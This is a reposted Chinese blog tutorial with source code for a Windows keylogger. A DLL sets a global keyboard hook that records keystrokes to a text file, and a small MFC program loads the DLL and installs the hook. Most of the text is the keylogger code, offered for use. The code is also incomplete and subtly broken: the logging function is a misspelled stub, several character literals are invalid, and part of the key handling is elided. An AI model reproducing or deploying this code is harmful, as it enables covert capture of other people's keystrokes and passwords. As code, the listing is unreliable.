您的位置:首页 > 其它

记录键盘按键记录程序实现

2010-10-24 10:47 429 查看
1.编写键盘记录钩子的DLL函数

2.编写主程序调用DLL文件

 

 

一.

在vc6.0新建一个名字为hodll的MFC Appwizard DLL工程

在hodll.h文件里面//main symbols这行下面声明两个全局函数

BOOL _declspec(dllexport) _stdcall installhook();//钩子安装函数

LRESULT _declspec(dllexport) _stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);//回调函数

在hodll.cpp添加全局变量

static HHOOK hkb=NULL;//钩子句柄
HINSTANCE hins; //钩子函数在的模块句柄

 

char szBuf[256];
char *p;
CString msg;

 

添加主函数代码

LRESULT _declspec(dllexport) _stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

{

if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))
 {
  switch(wParam)
  {
// ESC F1~F12
  case VK_ESCAPE:record("ESC");break;
  case VK_F1:record("F1");break;

 ......

 ......

}

LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
  return RetVal;

}

 

void rocord(){}//把字符写到指定txt文件中

 

BOOL _declspec(dllexport)_stdcall installhook()//钩子安装函数
{
 hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
 return TRUE;
}

 

BOOL _declspec(dllexport) UnHooK()//钩子卸载函数

{

BOOL unhooked=UnhookWindowsHookEx(hkb);
 return unhooked;

}

BOOL CHodllApp::InitInstance()
{
 AFX_MANAGE_STATE(AfxGetStaticModuleState());
 hins=AfxGetInstanceHandle();
 GetModuleFileName(AfxGetInstanceHandle(),szBuf,sizeof(szBuf));
 p=szBuf;
 while(strchr(p,'//'))
 {
  p=strchr(p,'//');
  p++;
 }
 *p='/0';
 msg=szBuf;
 return TRUE;
}

 

在hodll.def文件中添加

installhook
KeyboardProc

 

DLL函数就可以运行了

 

二.

创建testhook的MFC exe基本对话框工程文件

在窗口初始化函数里面加上代码

// Add "About..." menu item to system menu.

//防止多开程序 造成错误

CreateMutex(NULL,FALSE,"testhook");
 if(GetLastError()==ERROR_ALREADY_EXISTS)
  CDialog::OnOK();

 

在后面加上

// TODO: Add extra initialization here

//创建窗口时 读取DLL文件
 static HINSTANCE hinstDLL;
 typedef BOOL(CALLBACK *inshook)();
 inshook instkbhook;
 if(hinstDLL=LoadLibrary((LPCTSTR)"hodll.dll"))
 {
  instkbhook=(inshook)GetProcAddress(hinstDLL,"installhook");
  instkbhook();
 }
 else
  AfxMessageBox("DLL No Found");

然后编译运行

 

把MFC生成的exe文件与hodll.dll放在同一个目录下 ok了
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息